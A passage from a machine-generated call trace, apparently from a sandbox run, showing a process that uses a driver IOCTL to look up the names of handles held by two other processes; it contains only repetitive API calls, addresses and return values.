ApcState=0xfffff880052335d0) [0093.668] ObReferenceObjectByHandle (in: Handle=0xaac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003aeb2c0, HandleInformation=0x0) returned 0x0 [0093.668] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.668] PsReleaseProcessExitSynchronization () returned 0x2 [0093.668] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.669] ObQueryNameString (in: Object=0xfffffa8003aeb2c0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.669] ObfDereferenceObject (Object=0xfffffa8003aeb2c0) returned 0x1 [0093.669] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.669] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.669] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.669] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0093.669] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.669] PsAcquireProcessExitSynchronization () returned 0x0 [0093.669] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.669] ObReferenceObjectByHandle (in: Handle=0xbc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001f70ac0, HandleInformation=0x0) returned 0x0 [0093.669] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.669] PsReleaseProcessExitSynchronization () returned 0x2 [0093.669] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.669] ObQueryNameString (in: Object=0xfffffa8001f70ac0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.669] ObfDereferenceObject (Object=0xfffffa8001f70ac0) returned 0x11 [0093.669] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.669] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.669] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.669] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x6c, lpOverlapped=0x0) returned 1 [0093.669] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.669] PsAcquireProcessExitSynchronization () returned 0x0 [0093.669] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.669] ObReferenceObjectByHandle (in: Handle=0xdf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80018afa70, HandleInformation=0x0) returned 0x0 [0093.669] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.669] PsReleaseProcessExitSynchronization () returned 0x2 [0093.669] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.669] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ff1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ff1044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.669] ObfDereferenceObject (Object=0xfffffa80018afa70) returned 0x13 [0093.669] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.670] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.670] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.670] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0093.670] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.670] PsAcquireProcessExitSynchronization () returned 0x0 [0093.670] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.670] ObReferenceObjectByHandle (in: Handle=0xe18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80028c3d10, HandleInformation=0x0) returned 0x0 [0093.670] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.670] PsReleaseProcessExitSynchronization () returned 0x2 [0093.670] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.670] ObQueryNameString (in: Object=0xfffffa80028c3d10, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.670] ObfDereferenceObject (Object=0xfffffa80028c3d10) returned 0x1 [0093.670] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.670] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.670] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.670] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.670] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.670] PsAcquireProcessExitSynchronization () returned 0x0 [0093.670] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.670] ObReferenceObjectByHandle (in: Handle=0xe34, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80028c2240, HandleInformation=0x0) returned 0x0 [0093.670] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.670] PsReleaseProcessExitSynchronization () returned 0x2 [0093.670] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.670] ObQueryNameString (in: Object=0xfffffa80028c2240, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.670] ObfDereferenceObject (Object=0xfffffa80028c2240) returned 0x2 [0093.670] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.670] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.670] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.670] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.670] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.670] PsAcquireProcessExitSynchronization () returned 0x0 [0093.671] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.671] ObReferenceObjectByHandle (in: Handle=0xe38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800193d590, HandleInformation=0x0) returned 0x0 [0093.671] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.671] PsReleaseProcessExitSynchronization () returned 0x2 [0093.671] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.671] ObQueryNameString (in: Object=0xfffffa800193d590, ObjectNameInfo=0xfffffa8002011044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002011044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.671] ObfDereferenceObject (Object=0xfffffa800193d590) returned 0x2 [0093.671] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.671] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.671] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.671] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0093.671] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.671] PsAcquireProcessExitSynchronization () returned 0x0 [0093.671] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.671] ObReferenceObjectByHandle (in: Handle=0xe7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001cab610, HandleInformation=0x0) returned 0x0 [0093.671] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.671] PsReleaseProcessExitSynchronization () returned 0x2 [0093.671] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.671] ObQueryNameString (in: Object=0xfffff8a001cab610, ObjectNameInfo=0xfffffa8002013044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002013044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.671] ObfDereferenceObject (Object=0xfffff8a001cab610) returned 0x2 [0093.671] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.671] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.671] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.671] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0093.671] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.671] PsAcquireProcessExitSynchronization () returned 0x0 [0093.671] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.671] ObReferenceObjectByHandle (in: Handle=0xe84, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0019dc710, HandleInformation=0x0) returned 0x0 [0093.671] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.671] PsReleaseProcessExitSynchronization () returned 0x2 [0093.671] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.671] ObQueryNameString (in: Object=0xfffff8a0019dc710, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.671] ObfDereferenceObject (Object=0xfffff8a0019dc710) returned 0x2 [0093.671] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.672] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.672] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.672] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0093.672] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.672] PsAcquireProcessExitSynchronization () returned 0x0 [0093.672] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.672] ObReferenceObjectByHandle (in: Handle=0xea4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003c57570, HandleInformation=0x0) returned 0x0 [0093.672] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.672] PsReleaseProcessExitSynchronization () returned 0x2 [0093.672] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.672] ObQueryNameString (in: Object=0xfffffa8003c57570, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.672] ObfDereferenceObject (Object=0xfffffa8003c57570) returned 0x1 [0093.672] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.672] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.672] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.672] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0093.672] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.672] PsAcquireProcessExitSynchronization () returned 0x0 [0093.672] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.672] ObReferenceObjectByHandle (in: Handle=0xeac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80108a95e0, HandleInformation=0x0) returned 0x0 [0093.672] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.672] PsReleaseProcessExitSynchronization () returned 0x2 [0093.672] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.672] ObQueryNameString (in: Object=0xfffffa80108a95e0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.672] ObfDereferenceObject (Object=0xfffffa80108a95e0) returned 0x13 [0093.672] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.672] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.672] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.672] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0093.673] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.673] PsAcquireProcessExitSynchronization () returned 0x0 [0093.673] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.673] ObReferenceObjectByHandle (in: Handle=0xeb8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800f07e960, HandleInformation=0x0) returned 0x0 [0093.673] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.673] PsReleaseProcessExitSynchronization () returned 0x2 [0093.673] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.673] ObQueryNameString (in: Object=0xfffffa800f07e960, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.673] ObfDereferenceObject (Object=0xfffffa800f07e960) returned 0x1 [0093.673] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.673] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.673] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.673] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.673] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.673] PsAcquireProcessExitSynchronization () returned 0x0 [0093.673] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.673] ObReferenceObjectByHandle (in: Handle=0xebc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0017bf0f0, HandleInformation=0x0) returned 0x0 [0093.673] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.673] PsReleaseProcessExitSynchronization () returned 0x2 [0093.673] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.673] ObQueryNameString (in: Object=0xfffff8a0017bf0f0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.673] ObfDereferenceObject (Object=0xfffff8a0017bf0f0) returned 0x1 [0093.673] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.673] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.673] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.673] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0093.673] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.673] PsAcquireProcessExitSynchronization () returned 0x0 [0093.673] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.673] ObReferenceObjectByHandle (in: Handle=0xf30, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001be2760, HandleInformation=0x0) returned 0x0 [0093.673] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.673] PsReleaseProcessExitSynchronization () returned 0x2 [0093.673] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.674] ObQueryNameString (in: Object=0xfffff8a001be2760, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233550) returned 0x0 [0093.674] ObfDereferenceObject (Object=0xfffff8a001be2760) returned 0x2 [0093.674] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.674] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.674] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.674] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0093.674] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.674] PsAcquireProcessExitSynchronization () returned 0x0 [0093.674] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.674] ObReferenceObjectByHandle (in: Handle=0x1244, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0093.674] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.674] PsReleaseProcessExitSynchronization () returned 0x2 [0093.674] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.674] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.674] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0093.674] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.674] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.674] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3ac) returned 0x0 [0093.674] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.674] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0093.674] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.674] PsAcquireProcessExitSynchronization () returned 0x0 [0093.674] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880052335d0) [0093.674] ObReferenceObjectByHandle (in: Handle=0x8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800318bc40, HandleInformation=0x0) returned 0x0 [0093.674] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.674] PsReleaseProcessExitSynchronization () returned 0x2 [0093.674] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3e [0093.674] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.674] ObfDereferenceObject (Object=0xfffffa800318bc40) returned 0x1 [0093.674] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.675] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.675] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.675] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0093.675] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.675] PsAcquireProcessExitSynchronization () returned 0x0 [0093.675] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880052335d0) [0093.675] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800318f770, HandleInformation=0x0) returned 0x0 [0093.675] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.675] PsReleaseProcessExitSynchronization () returned 0x2 [0093.675] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3e [0093.675] ObQueryNameString (in: Object=0xfffffa800318f770, ObjectNameInfo=0xfffffa8001942044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001942044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.675] ObfDereferenceObject (Object=0xfffffa800318f770) returned 0x11 [0093.675] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.675] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.675] 